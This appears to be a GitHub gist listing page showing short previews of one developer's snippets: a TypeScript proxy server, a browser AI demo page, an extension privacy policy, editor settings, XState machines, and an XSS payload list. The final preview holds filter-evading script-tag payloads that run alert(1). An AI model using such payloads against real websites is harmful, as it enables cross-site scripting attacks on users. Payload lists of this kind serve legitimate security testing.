Skip to content

Instantly share code, notes, and snippets.

@tkh44
tkh44 / pylon.ts
Created March 6, 2025 19:02
demo simple http server for llms and proxies
import * as http from 'http';
import * as url from 'url';
import * as https from 'https';
import { Readable } from 'stream';
// Define types
interface Request extends http.IncomingMessage {
params?: Record<string, string>;
startTime?: number;
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>My New Website</title>
<link rel="stylesheet" href="https://unpkg.com/simpledotcss/simple.css">
<script type="module">
const session = await window.ai.createTextSession();
@tkh44
tkh44 / privacy-policy.md
Created March 12, 2024 17:42
Instacart Chrome Extension Privacy Policy

Instacart Chrome Extension Privacy Policy

This privacy policy explains how Instacart collects, uses, and safeguards data when you use the Instacart Chrome extension.

Information We Collect

The extension may collect limited non-identifying data about your browsing activity and Chrome usage solely to improve the extension's functionality and user experience.

How We Use Information

Any data collected is used only for the purposes of enhancing the extension, troubleshooting issues, and delivering updates. We do not sell or share this data with any third parties.

@tkh44
tkh44 / vscode-settings.json
Created April 19, 2023 19:31
VSCode settings
{
"security.workspace.trust.untrustedFiles": "open",
"[html]": {
"editor.defaultFormatter": "vscode.html-language-features"
},
"workbench.colorTheme": "Noctis Azureus",
"git.autofetch": true,
"editor.minimap.enabled": false,
"typescript.preferences.importModuleSpecifier": "non-relative",
"editor.inlineSuggest.enabled": true,
@tkh44
tkh44 / machine.js
Last active March 1, 2021 20:24
Generated by XState Viz: https://xstate.js.org/viz
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
@tkh44
tkh44 / machine.js
Created February 26, 2021 20:48
Generated by XState Viz: https://xstate.js.org/viz
const targetingMachine = Machine({
id: "adHoc",
initial: "targetCategory",
context: {
targetType: "host",
targetSelection: "parameter", // param / exact
strategy: "random",
selectedTargets: new Set(),
targetParams: {
/*[key]: new Set() */
@tkh44
tkh44 / machine.js
Last active February 19, 2021 20:24
Generated by XState Viz: https://xstate.js.org/viz
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
// - XState (all XState exports)
@tkh44
tkh44 / machine.js
Last active February 11, 2021 21:20
Generated by XState Viz: https://xstate.js.org/viz
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
// - XState (all XState exports)
@tkh44
tkh44 / test
Created August 28, 2020 15:29
test.txt
Hello there.
@tkh44
tkh44 / xsslist.txt
Last active August 27, 2020 19:36
XSS list <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!-- Author : Ismail Tasdelen -->
<!-- Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!-- GitHub : https://github.com/ismailtasdelen/ -->
<!-- Twitter : https://twitter.com/ismailtsdln -->
<!-- Medium : https://medium.com/@ismailtasdelen -->
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>